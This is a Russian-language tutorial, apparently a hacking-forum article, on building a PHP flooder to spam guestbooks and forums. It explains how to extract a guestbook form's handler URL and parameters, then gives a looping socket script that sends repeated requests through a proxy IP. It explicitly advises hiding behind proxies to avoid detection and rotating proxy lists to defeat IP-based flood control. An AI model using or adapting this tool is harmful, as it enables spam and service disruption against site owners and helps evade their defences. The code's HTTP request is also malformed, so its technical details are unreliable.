Эту статью я решил написать, так как на многих форумах встречал предложения о флуде в гостевых книгах и форумах за деньги. При этом, ничего сложного в написании собственного флудера нету, надо лишь хотя бы немного быть знакомым с php (я рассмотрю написание флудера именно на PHP) и работу с сокетами в этом языке. И так, обо всем по порядку… Первое, что нам нужно для написания простейшего флудера гостевой книги – это расположение скрипта, который обрабатывает новые сообщения и записывает их и полный список параметров к этому скрипту. Самая простейшая схема, с помощью которой можно узнать все это такая: заходим на страницу гостевой книги, на которой находится форма для отправки нового сообщения и сохраняем её. Теперь открываем сохраненную страницу в Dreamweaver (или любом другом хтмл-редакторе, Блокноте, например=) и ищем тег <form …… >. Далее меняем метод, с помощью которого форма передает данные, на GET (если хозяин гостевой – нормальный человек, то изначально должен стоять method=post). Теперь прописываем нормальный путь в параметре action, так как иногда прописывают относительный адрес к скрипту-обработчику, и при наших дальнейших действиях это сыграет определенную роль. И так, нам нужен АБСОЛЮТНЫЙ путь в параметре action, т.е. http://target/guestbook/script.php. Теперь сохраняем документ, открываем его в броузере, заполняем все поля (имя отправителя, текст сообщения и т.д.) чем хотим и жмем отправить. Если все ок, то в адресной строке мы увидим все что нам надо: полный путь к скрипту и все нужные параметры (и даже их значения). Эта строка нам понадобиться для работы флудера. Теперь перейдем к написанию самого флудера.
<?
$path="http://target/script.php?parameters=something";
// эта переменная есть не что иное как полный адрес к скрипту-обработчику новых сообщений и список параметров, который мы получили из адресной строки броузера.
$head="POST $path \\r\\n\\r\\n";
// методом POST мы будем слать сообщения…
for ($i=0;$i<=10;$i++):
// тут начинается цикл, который собственно и кидает новые сообщения в гостевую. Понятно, что конечное значение переменной $i – это и есть количество сообщений, которое создаст наш флудер.
$fp = fsockopen("81.56.187.95", 80);
// открываем сокет. Причем, нужно заметить, что адрес 81.56.187.95 – это прокси-сервер (нам же не нужно, чтобы нас засекли=) и порт, по которому флудер будет с ним соединяться. Список проксей можно всегда взять на http://www.web-hack.ru/proxy .
fputs($fp,$head);
// этой функцией мы отсылаем новые сообщения в гостевую…
fclose($fp);
// закрываем сокет.
endfor;
echo "DONE";
?>
Вот и весь текст простейшего флудера. Кстати, при посылке большого числа сообщений нужно найти в файле php.ini строку max_execution_time и прописать туда число побольше, чтобы интерпретатор пхп не отрубил выполнение флудера раньше времени. Так же нужно помнить, что любой флудер будет работать только в том случае, если на сервере включен флаг register_globals=on. Дальше можно преобразовывать нашу прогу как угодно. Можно запускать её вместе со списком проксей (в случае, если в гостевой/форуме стоит флуд-контроль по IP-адресу). Короче, доделывать можно еще много. Если поднапрячься, то можно и для хорошего форума типа IPB написать флудер!=)))